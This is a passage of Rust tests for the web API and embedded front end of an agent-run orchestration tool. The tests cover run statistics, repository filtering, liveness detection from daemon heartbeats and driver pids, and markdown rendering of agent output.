10518            ],
10519            synthesis: Some("blended brief".to_owned()),
10520        });
10521        let dir = f.runs().join(&state.id);
10522        std::fs::create_dir_all(&dir).expect("run dir");
10523        std::fs::write(
10524            dir.join("run.json"),
10525            serde_json::to_string_pretty(&state).expect("serialize run"),
10526        )
10527        .expect("write run.json");
10528
10529        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10530        let alpha = advisors
10531            .as_array()
10532            .expect("an array")
10533            .iter()
10534            .find(|a| a["agent"] == "alpha")
10535            .expect("alpha row");
10536        assert_eq!(alpha["seated"], 2);
10537        assert_eq!(alpha["proposed"], 1);
10538        assert_eq!(alpha["absent"], 1);
10539        assert_eq!(alpha["strong"], 1);
10540        assert_eq!(alpha["faint"], 0);
10541        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10542    }
10543
10544    #[tokio::test]
10545    async fn stats_release_bumps_split_clean_from_attention() {
10546        use crate::run::ReleaseBump;
10547
10548        let f = Fixture::start().await;
10549
10550        let mut clean = RunState::new(
10551            PathBuf::from("/repo/magi"),
10552            "main".to_owned(),
10553            "0123456789abcdef".to_owned(),
10554            "task".to_owned(),
10555            Config::default(),
10556        );
10557        clean.id = "20260902-140501-a".to_owned();
10558        clean.status = RunStatus::Merged;
10559        clean.release_bump = Some(ReleaseBump {
10560            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10561            version: Some("1.0.0".to_owned()),
10562            automerge_enabled: true,
10563            merged_directly: false,
10564            local: false,
10565            release: None,
10566            problem: None,
10567            action_required: None,
10568        });
10569
10570        let mut blocked = RunState::new(
10571            PathBuf::from("/repo/magi"),
10572            "main".to_owned(),
10573            "0123456789abcdef".to_owned(),
10574            "task".to_owned(),
10575            Config::default(),
10576        );
10577        blocked.id = "20260902-140502-b".to_owned();
10578        blocked.status = RunStatus::Merged;
10579        blocked.release_bump = Some(ReleaseBump {
10580            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10581            version: Some("1.0.1".to_owned()),
10582            automerge_enabled: false,
10583            merged_directly: false,
10584            local: false,
10585            release: None,
10586            problem: Some("checks red".to_owned()),
10587            action_required: Some("look at the PR".to_owned()),
10588        });
10589
10590        for state in [&clean, &blocked] {
10591            let dir = f.runs().join(&state.id);
10592            std::fs::create_dir_all(&dir).expect("run dir");
10593            std::fs::write(
10594                dir.join("run.json"),
10595                serde_json::to_string_pretty(state).expect("serialize run"),
10596            )
10597            .expect("write run.json");
10598        }
10599
10600        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10601        assert_eq!(bumps["merged"], 2);
10602        assert_eq!(bumps["recorded"], 2);
10603        assert_eq!(bumps["pr_opened"], 2);
10604        assert_eq!(bumps["automerge_enabled"], 1);
10605        assert_eq!(bumps["needs_attention"], 1);
10606        assert_eq!(bumps["clean"], 1);
10607        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10608        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10609    }
10610
10611    #[tokio::test]
10612    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10613        let f = Fixture::start().await;
10614        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10615
10616        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10617        assert_eq!(bumps["merged"], 1);
10618        assert_eq!(bumps["recorded"], 0);
10619        // `merged` is nonzero, so coverage still reads as a real 0%, not an
10620        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
10621        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10622        // `pr_opened` and `recorded` are both zero here, so these rates have
10623        // no denominator to compute from and must be null.
10624        assert_eq!(bumps["automerge_rate"], Value::Null);
10625        assert_eq!(bumps["attention_rate"], Value::Null);
10626    }
10627
10628    #[tokio::test]
10629    async fn stats_queue_counts_come_from_the_live_queue() {
10630        let f = Fixture::start().await;
10631        let q = f.queue();
10632        let mut queued = Task::new(
10633            "queued task".to_owned(),
10634            "do it".to_owned(),
10635            PathBuf::from("/repo"),
10636            Source::Human,
10637        );
10638        q.put(&mut queued).expect("put queued");
10639        let mut held = Task::new(
10640            "held task".to_owned(),
10641            "do it later".to_owned(),
10642            PathBuf::from("/repo"),
10643            Source::Human,
10644        );
10645        held.hold_machine(Some("out of attempts".to_owned()));
10646        q.put(&mut held).expect("put held");
10647
10648        let queue = f.get("/api/stats").await.json()["queue"].clone();
10649        assert_eq!(queue["queued"], 1);
10650        assert_eq!(queue["held"], 1);
10651        assert_eq!(queue["running"], 0);
10652        assert_eq!(queue["done"], 0);
10653        assert_eq!(queue["failed"], 0);
10654        assert_eq!(queue["blocked"], 0);
10655    }
10656
10657    #[tokio::test]
10658    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10659        let f = Fixture::start().await;
10660        let stats = f.get("/api/stats").await;
10661        assert_eq!(stats.status, 200);
10662        assert_eq!(stats.json()["totals"]["runs"], 0);
10663        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10664        assert_eq!(stats.json()["runs_unreadable"], 0);
10665        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10666        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10667        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10668        assert_eq!(stats.json()["repo"], Value::Null);
10669    }
10670
10671    #[tokio::test]
10672    async fn stats_lists_every_repository_with_runs_recorded() {
10673        let f = Fixture::start().await;
10674        write_run_repo(
10675            &f.runs(),
10676            "20260902-140501-a",
10677            RunStatus::Merged,
10678            "/repos/a",
10679        );
10680        write_run_repo(
10681            &f.runs(),
10682            "20260902-140502-b",
10683            RunStatus::Merged,
10684            "/repos/a",
10685        );
10686        write_run_repo(
10687            &f.runs(),
10688            "20260902-140503-c",
10689            RunStatus::Blocked,
10690            "/repos/b",
10691        );
10692
10693        let stats = f.get("/api/stats").await;
10694        assert_eq!(stats.status, 200);
10695        // Unfiltered - the aggregate across both repositories.
10696        assert_eq!(stats.json()["totals"]["runs"], 3);
10697        assert_eq!(stats.json()["repo"], Value::Null);
10698
10699        let repos = stats.json()["repos"].clone();
10700        let repos = repos.as_array().unwrap();
10701        assert_eq!(repos.len(), 2);
10702        // Busiest (2 runs) first.
10703        assert_eq!(repos[0]["repo"], "/repos/a");
10704        assert_eq!(repos[0]["name"], "a");
10705        assert_eq!(repos[0]["runs"], 2);
10706        assert_eq!(repos[1]["repo"], "/repos/b");
10707        assert_eq!(repos[1]["runs"], 1);
10708    }
10709
10710    #[tokio::test]
10711    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10712        let f = Fixture::start().await;
10713        write_run_repo(
10714            &f.runs(),
10715            "20260902-140501-a",
10716            RunStatus::Merged,
10717            "/repos/a",
10718        );
10719        write_run_repo(
10720            &f.runs(),
10721            "20260902-140502-b",
10722            RunStatus::Blocked,
10723            "/repos/b",
10724        );
10725
10726        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10727        assert_eq!(stats.status, 200);
10728        assert_eq!(stats.json()["totals"]["runs"], 1);
10729        assert_eq!(stats.json()["totals"]["merged"], 1);
10730        assert_eq!(stats.json()["repo"], "/repos/a");
10731        // The repository list itself is unaffected by the filter - it is
10732        // what a client switches repositories from.
10733        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10734        // runs_unreadable is a whole-workload count, never scoped to the
10735        // selected repository - see StatsView::runs_unreadable's own doc.
10736        assert_eq!(stats.json()["runs_unreadable"], 0);
10737    }
10738
10739    #[tokio::test]
10740    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10741        let f = Fixture::start().await;
10742        write_run_repo(
10743            &f.runs(),
10744            "20260902-140501-a",
10745            RunStatus::Merged,
10746            "/repos/a",
10747        );
10748
10749        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10750        assert_eq!(stats.status, 404);
10751    }
10752
10753    #[tokio::test]
10754    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10755        let f = Fixture::start().await;
10756        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10757
10758        let summary = f.get("/api/runs").await.json();
10759        let row = &summary[0];
10760        assert_eq!(row["short"], "a1b2");
10761        assert_eq!(row["status"], "ready");
10762        assert_eq!(row["done"], true);
10763        assert_eq!(row["title"], "Add a web UI");
10764        assert_eq!(row["repo_name"], "magi");
10765        assert_eq!(row["judges"], 3);
10766        assert_eq!(row["winner"], Value::Null);
10767        assert_eq!(row["reviews"], 0);
10768
10769        // The short id resolves, and the detail route is the state itself, not
10770        // a projection of it: the UI reads fields the summary does not carry.
10771        let detail = f.get("/api/runs/a1b2").await;
10772        assert_eq!(detail.status, 200);
10773        assert_eq!(detail.json()["base_branch"], "main");
10774        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10775    }
10776
10777    /// `status: "ready"` alone cannot tell a run still headed for a landing
10778    /// (a PR closed without merging, say) apart from one `[merge] mode =
10779    /// "none"` left unmerged for good — the confusion the operator flagged
10780    /// after the CLI report already grew a `not landed — nothing to do by
10781    /// design` line for exactly this case (`report.rs`). Both the list route
10782    /// and the detail route must carry a flag the phone can key on instead of
10783    /// re-deriving it from `status` + `merge.mode` itself.
10784    #[tokio::test]
10785    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10786        let f = Fixture::start().await;
10787
10788        let mut none_run = RunState::new(
10789            PathBuf::from("/repo/magi"),
10790            "main".to_owned(),
10791            "0123456789abcdef".to_owned(),
10792            "Add a web UI".to_owned(),
10793            Config::default(),
10794        );
10795        none_run.id = "20260902-140503-none".to_owned();
10796        none_run.status = RunStatus::Ready;
10797        none_run.merge = Some(crate::run::MergeOutcome {
10798            mode: crate::config::MergeMode::None,
10799            ok: true,
10800            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10801            empty: false,
10802        });
10803        write_state(&f.runs(), &none_run);
10804
10805        let mut pr_run = RunState::new(
10806            PathBuf::from("/repo/magi"),
10807            "main".to_owned(),
10808            "0123456789abcdef".to_owned(),
10809            "Add a web UI".to_owned(),
10810            Config::default(),
10811        );
10812        pr_run.id = "20260902-140504-prcl".to_owned();
10813        pr_run.status = RunStatus::Ready;
10814        pr_run.merge = Some(crate::run::MergeOutcome {
10815            mode: crate::config::MergeMode::Pr,
10816            ok: false,
10817            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10818            empty: false,
10819        });
10820        write_state(&f.runs(), &pr_run);
10821
10822        let summary = f.get("/api/runs").await.json();
10823        let rows: std::collections::HashMap<&str, &Value> = summary
10824            .as_array()
10825            .expect("an array")
10826            .iter()
10827            .map(|r| (r["id"].as_str().expect("an id"), r))
10828            .collect();
10829        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10830        assert_eq!(
10831            rows[none_run.id.as_str()]["unmerged_by_design"],
10832            true,
10833            "a mode-none Ready must be flagged in the list"
10834        );
10835        assert_eq!(
10836            rows[pr_run.id.as_str()]["unmerged_by_design"],
10837            false,
10838            "a Ready reached by a closed pull request is a different case"
10839        );
10840
10841        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10842        assert_eq!(none_detail["status"], "ready");
10843        assert_eq!(none_detail["unmerged_by_design"], true);
10844
10845        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10846        assert_eq!(pr_detail["unmerged_by_design"], false);
10847    }
10848
10849    /// `RunState::active` is only ever cleared by whoever populated it, so the
10850    /// detail route also has to say whether a daemon is actually still
10851    /// driving this run right now — otherwise a seat from a killed process's
10852    /// last wave would read as live forever.
10853    #[tokio::test]
10854    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10855        let f = Fixture::start().await;
10856        // Matches `write_daemon`'s hard-coded `current.run`, so the second
10857        // half of this test can claim the daemon is working on it without a
10858        // second helper.
10859        let id = "20260902-140502-bbbb";
10860        let mut state = RunState::new(
10861            PathBuf::from("/repo/magi"),
10862            "main".to_owned(),
10863            "0123456789abcdef".to_owned(),
10864            "Add a web UI".to_owned(),
10865            Config::default(),
10866        );
10867        state.id = id.to_owned();
10868        state.status = RunStatus::Judging;
10869        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10870        let dir = f.runs().join(id);
10871        std::fs::create_dir_all(&dir).expect("run dir");
10872        std::fs::write(
10873            dir.join("run.json"),
10874            serde_json::to_string_pretty(&state).expect("serialize run"),
10875        )
10876        .expect("write run.json");
10877
10878        // No daemon.json at all, and no `driver_pid` recorded either (this
10879        // state was written directly, never through `execute()`): there is
10880        // nothing to confirm either way, so the route must say `"unknown"` —
10881        // never `"dead"`, which is exactly the false diagnosis a manual `magi
10882        // run` used to get from this route before `driver_pid` existed.
10883        let cold = f.get(&format!("/api/runs/{id}")).await.json();
10884        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10885        assert_eq!(cold["live"], "unknown", "{cold}");
10886
10887        // A fresh heartbeat naming exactly this run: the same entry now reads
10888        // as confirmed, not merely recorded.
10889        write_daemon(f.home.path(), Timestamp::now());
10890        let warm = f.get(&format!("/api/runs/{id}")).await.json();
10891        assert_eq!(warm["live"], "live", "{warm}");
10892    }
10893
10894    /// Where a run came from is shown, and a run written before origins were
10895    /// recorded (schema 12, no `origin` key) stays readable and says so.
10896    #[tokio::test]
10897    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10898        let f = Fixture::start().await;
10899        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10900            let mut state = RunState::new(
10901                PathBuf::from("/repo/magi"),
10902                "main".to_owned(),
10903                "0123456789abcdef".to_owned(),
10904                "Add a web UI".to_owned(),
10905                Config::default(),
10906            );
10907            state.id = id.to_owned();
10908            state.origin = origin;
10909            let mut value = serde_json::to_value(&state).expect("serialize run");
10910            if let Some(schema) = schema {
10911                value["schema"] = serde_json::json!(schema);
10912                value.as_object_mut().unwrap().remove("origin");
10913            }
10914            let dir = f.runs().join(id);
10915            std::fs::create_dir_all(&dir).expect("run dir");
10916            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10917        };
10918        write(
10919            "20260930-092817-ec34",
10920            Some(crate::run::Origin::from_agent_env(
10921                Some(("4a7b".to_owned(), "chat".to_owned())),
10922                None,
10923            )),
10924            None,
10925        );
10926        write("20260930-092817-0ld1", None, Some(12));
10927
10928        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10929        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10930        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10931
10932        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10933        assert_eq!(
10934            old["origin_label"], "origin unknown (started before origins were recorded)",
10935            "{old}"
10936        );
10937        assert!(old["origin"].is_null(), "{old}");
10938
10939        let list = f.get("/api/runs").await.json();
10940        let labels: Vec<_> = list
10941            .as_array()
10942            .unwrap()
10943            .iter()
10944            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10945            .collect();
10946        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10947    }
10948
10949    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
10950    /// review` claims no daemon at all, so before this field existed the
10951    /// route above read it as `"dead"` — indistinguishable from a run a
10952    /// killed process abandoned — the whole time it was genuinely still
10953    /// answering. With a live pid recorded, it must read `"live"` even
10954    /// though no daemon claims it.
10955    #[tokio::test]
10956    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10957        let f = Fixture::start().await;
10958        let id = "20260922-090000-cccc";
10959        let mut state = RunState::new(
10960            PathBuf::from("/repo/magi"),
10961            "main".to_owned(),
10962            "0123456789abcdef".to_owned(),
10963            "Review only".to_owned(),
10964            Config::default(),
10965        );
10966        state.id = id.to_owned();
10967        state.status = RunStatus::Reviewing;
10968        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10969        // This test process's own pid: guaranteed alive, and never needs a
10970        // real daemon or a second process to prove it. The matching start-time
10971        // marker is what `liveness` now requires alongside a live pid — see
10972        // `RunState::driver_started_at`'s own doc for why the pid alone is
10973        // not enough.
10974        state.driver_pid = Some(std::process::id());
10975        state.driver_started_at = Some(
10976            crate::proc::process_started_at(std::process::id())
10977                .expect("this test process's own start time must be queryable"),
10978        );
10979        let dir = f.runs().join(id);
10980        std::fs::create_dir_all(&dir).expect("run dir");
10981        std::fs::write(
10982            dir.join("run.json"),
10983            serde_json::to_string_pretty(&state).expect("serialize run"),
10984        )
10985        .expect("write run.json");
10986
10987        let detail = f.get(&format!("/api/runs/{id}")).await.json();
10988        assert_eq!(detail["live"], "live", "{detail}");
10989    }
10990
10991    /// A killed manual run's pid can be handed to a wholly unrelated later
10992    /// process — a live query on `driver_pid` alone would read this as
10993    /// `"live"`, exactly the false positive `driver_started_at` exists to
10994    /// catch (see that field's own doc, and `RunState::liveness_with`'s
10995    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
10996    #[tokio::test]
10997    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10998        let f = Fixture::start().await;
10999        let id = "20260922-090100-dddd";
11000        let mut state = RunState::new(
11001            PathBuf::from("/repo/magi"),
11002            "main".to_owned(),
11003            "0123456789abcdef".to_owned(),
11004            "Review only".to_owned(),
11005            Config::default(),
11006        );
11007        state.id = id.to_owned();
11008        state.status = RunStatus::Reviewing;
11009        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11010        // This test process's own pid really is alive, but the marker
11011        // recorded here does not match what it actually started at —
11012        // standing in for the pid having since been reused by a different
11013        // process than the one that wrote `run.json`.
11014        state.driver_pid = Some(std::process::id());
11015        state.driver_started_at = Some("1".to_owned());
11016        let dir = f.runs().join(id);
11017        std::fs::create_dir_all(&dir).expect("run dir");
11018        std::fs::write(
11019            dir.join("run.json"),
11020            serde_json::to_string_pretty(&state).expect("serialize run"),
11021        )
11022        .expect("write run.json");
11023
11024        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11025        assert_eq!(detail["live"], "dead", "{detail}");
11026    }
11027
11028    /// The deck's competition list is normally the first place an operator
11029    /// sees an old run. It must carry the same process verdict as detail, or
11030    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
11031    #[test]
11032    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11033        let mk = |id: &str, pid: Option<u32>| {
11034            let mut s = RunState::new(
11035                PathBuf::from("/repo/magi"),
11036                "main".to_owned(),
11037                "0123456789abcdef".to_owned(),
11038                "Add a web UI".to_owned(),
11039                Config::default(),
11040            );
11041            s.id = id.to_owned();
11042            s.driver_pid = pid;
11043            s.driver_started_at = Some("1790000000".to_owned());
11044            s
11045        };
11046        let states = vec![
11047            mk("20260902-140502-aaaa", Some(77)),
11048            mk("20260902-140502-bbbb", Some(77)),
11049            mk("20260902-140502-cccc", Some(77)),
11050            mk("20260902-140502-dddd", None),
11051        ];
11052        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11053        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11054        let sup: HashMap<String, String> = [(
11055            "20260902-140502-aaaa".to_owned(),
11056            "20260902-140502-cccc".to_owned(),
11057        )]
11058        .into();
11059
11060        let status_calls = std::cell::Cell::new(0);
11061        let identity_calls = std::cell::Cell::new(0);
11062        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11063            |_| {
11064                status_calls.set(status_calls.get() + 1);
11065                Some(true)
11066            },
11067            |_| {
11068                identity_calls.set(identity_calls.get() + 1);
11069                Some("1790000000".to_owned())
11070            },
11071        ));
11072        let rows = summarize(
11073            states,
11074            &open,
11075            &claimed,
11076            &sup,
11077            |p| probe.borrow_mut().status(p),
11078            |p| probe.borrow_mut().started_at(p),
11079        );
11080
11081        assert_eq!(status_calls.get(), 1, "one pid, one status query");
11082        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11083        assert_eq!(rows.len(), 4);
11084        assert!(!rows[0].waiting && rows[1].waiting);
11085        assert_eq!(rows[0].live, crate::run::Liveness::Live);
11086        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11087        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11088        assert_eq!(rows[1].superseded_by, None);
11089    }
11090
11091    #[test]
11092    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11093        let mut state = RunState::new(
11094            PathBuf::from("/repo/magi"),
11095            "main".to_owned(),
11096            "0123456789abcdef".to_owned(),
11097            "Review only".to_owned(),
11098            Config::default(),
11099        );
11100        state.id = "20260922-090200-dead".to_owned();
11101        state.status = RunStatus::Reviewing;
11102        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11103            .expect("serialize list row");
11104        assert_eq!(row["status"], "reviewing");
11105        assert_eq!(row["live"], "dead", "{row}");
11106        assert!(!row["done"].as_bool().unwrap());
11107    }
11108
11109    #[tokio::test]
11110    async fn the_run_list_is_newest_first_and_honours_a_limit() {
11111        let f = Fixture::start().await;
11112        for id in [
11113            "20260902-140501-aaaa",
11114            "20260902-140502-bbbb",
11115            "20260902-140503-cccc",
11116        ] {
11117            write_run(&f.runs(), id, RunStatus::Merged);
11118        }
11119
11120        let all = f.get("/api/runs").await.json();
11121        let capped = f.get("/api/runs?limit=2").await.json();
11122
11123        assert_eq!(all[0]["id"], "20260902-140503-cccc");
11124        assert_eq!(all.as_array().map(Vec::len), Some(3));
11125        assert_eq!(capped.as_array().map(Vec::len), Some(2));
11126        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11127    }
11128
11129    #[tokio::test]
11130    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11131        let f = Fixture::start().await;
11132        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11133
11134        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11135
11136        assert_eq!(res.status, 200);
11137        assert!(
11138            res.headers
11139                .contains("content-type: text/plain; charset=utf-8"),
11140            "a browser must render it, not download it: {}",
11141            res.headers
11142        );
11143        // The assertion is on content, not on the absence of escapes: colour
11144        // is a process-global that `serve` turns off at startup, and another
11145        // test in this binary may own it while this one runs.
11146        assert!(
11147            res.body.contains("20260902-140501-a1b2"),
11148            "the report is about the run that was asked for: {}",
11149            res.body
11150        );
11151    }
11152
11153    #[tokio::test]
11154    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11155        let f = Fixture::start().await;
11156
11157        let html = f.get("/").await;
11158        let css = f.get("/app.css").await;
11159        let js = f.get("/app.js").await;
11160
11161        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11162        assert!(
11163            html.headers
11164                .contains("content-type: text/html; charset=utf-8")
11165        );
11166        assert!(css.headers.contains("content-type: text/css"));
11167        assert!(js.headers.contains("content-type: text/javascript"));
11168        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11169    }
11170
11171    #[test]
11172    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11173        let body = |name: &str| {
11174            let at = APP_JS
11175                .find(name)
11176                .unwrap_or_else(|| panic!("{name} missing"));
11177            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11178        };
11179        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11180        let note = body("function landRoundNote");
11181        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11182        assert!(note.contains("Land round ${round}"));
11183        let land = body("function renderLand");
11184        let note_at = land
11185            .find("landRoundNote(pr)")
11186            .expect("renderLand uses the note");
11187        assert!(
11188            note_at
11189                < land
11190                    .find("roundRail(pr)")
11191                    .expect("renderLand uses the rail")
11192        );
11193    }
11194
11195    #[test]
11196    fn the_runs_page_redesign_keeps_its_guards() {
11197        let body = |name: &str| {
11198            let at = APP_JS
11199                .find(name)
11200                .unwrap_or_else(|| panic!("{name} missing"));
11201            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11202        };
11203        // A null child must never reach the native append (it prints "null").
11204        let land = body("function renderLand");
11205        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11206        assert!(
11207            !land.contains("box.append("),
11208            "renderLand must use append()"
11209        );
11210        assert!(land.contains("append(box, ["));
11211        // Tabs are hash routes; the run id alone decides a reload.
11212        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11213        assert!(
11214            body("function applyRoute")
11215                .contains("route.name !== state.route.name || route.id !== state.route.id")
11216        );
11217        // The decorative diagram is gone, the strip and its guards stay.
11218        assert!(!APP_JS.contains("adviseConvergeDiagram"));
11219        assert!(!INDEX_HTML.contains("advise-converge"));
11220        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11221        assert!(APP_JS.contains("provisional"));
11222        for id in [
11223            "run-tab-overview",
11224            "run-tab-timeline",
11225            "run-tab-report",
11226            "run-report",
11227            "runs-scope",
11228        ] {
11229            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11230        }
11231        assert!(!INDEX_HTML.contains("runs-tree"));
11232        assert!(!INDEX_HTML.contains("run-raw-panel"));
11233        // Fold still says it cannot be resumed.
11234        assert!(APP_JS.contains("resume"));
11235        // The unreadable-runs count stays on the page.
11236        assert!(APP_JS.contains("unreadable"));
11237    }
11238
11239    #[test]
11240    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11241        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11242        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11243        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
11244        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11245        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11246        // The subtitle still counts them whatever the banner does.
11247        assert!(APP_JS.contains("unreadable` : null"));
11248    }
11249
11250    #[test]
11251    fn the_run_detail_payload_says_whether_the_run_is_done() {
11252        // `landView` reads `run.done`; the detail response must carry it.
11253        for (status, done) in [
11254            (RunStatus::Superseded, true),
11255            (RunStatus::Blocked, true),
11256            (RunStatus::Landing, false),
11257        ] {
11258            let mut state = RunState::new(
11259                std::path::PathBuf::from("/repo"),
11260                "main".to_owned(),
11261                "abc".to_owned(),
11262                "x".to_owned(),
11263                crate::config::Config::default(),
11264            );
11265            state.status = status;
11266            let v = serde_json::to_value(RunDetailView::of(
11267                state,
11268                crate::run::Liveness::Unknown,
11269                None,
11270                None,
11271                None,
11272            ))
11273            .unwrap();
11274            assert_eq!(v["done"], done, "{status:?}");
11275        }
11276    }
11277
11278    /// The first node of a markdown block holds a `strong` somewhere.
11279    fn has_strong(nodes: &[md::Node]) -> bool {
11280        serde_json::to_string(nodes).unwrap().contains("strong")
11281    }
11282
11283    #[test]
11284    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11285        let mut state = RunState::new(
11286            std::path::PathBuf::from("/repo"),
11287            "main".to_owned(),
11288            "abc".to_owned(),
11289            "x".to_owned(),
11290            crate::config::Config::default(),
11291        );
11292        let proposal = |approach: &str| {
11293            serde_json::json!({
11294                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11295            })
11296        };
11297        state.advice = Some(
11298            serde_json::from_value(serde_json::json!({
11299                "records": [
11300                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11301                     "proposal": proposal("do **this**")},
11302                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11303                ],
11304                "synthesis": "- one\n- **two**\n\n`code`",
11305            }))
11306            .unwrap(),
11307        );
11308        state.candidates = serde_json::from_value(serde_json::json!([
11309            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11310             "summary": "did **it**"},
11311            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11312        ]))
11313        .unwrap();
11314        // Recorded in ascending severity, the reverse of how the page sorts
11315        // them: the arrays must follow the record, not the display.
11316        state.reviews = serde_json::from_value(serde_json::json!([{
11317            "round": 1, "head": "h",
11318            "reviews": [{
11319                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11320                "findings": [
11321                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
11322                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11323                ],
11324            }],
11325            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11326            "fix": {"agent": "a", "notes": "fixed **it**",
11327                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11328        }, {"round": 2, "head": "h2", "reviews": []}]))
11329        .unwrap();
11330
11331        let v = serde_json::to_value(RunDetailView::of(
11332            state,
11333            crate::run::Liveness::Unknown,
11334            None,
11335            None,
11336            None,
11337        ))
11338        .unwrap();
11339
11340        let strong = |p: &str| {
11341            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11342            assert!(n.to_string().contains("strong"), "{p}: {n}");
11343        };
11344        strong("/advice_md/synthesis");
11345        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11346        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11347        strong("/advice_md/approaches/0");
11348        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11349        strong("/candidate_summaries_md/0");
11350        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11351        strong("/reviews_md/0/reviewers/0/summary");
11352        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11353        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11354        assert!(f[1].to_string().contains("strong"));
11355        strong("/reviews_md/0/reconsideration/0");
11356        strong("/reviews_md/0/fix/notes");
11357        strong("/reviews_md/0/fix/rejected/0");
11358        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
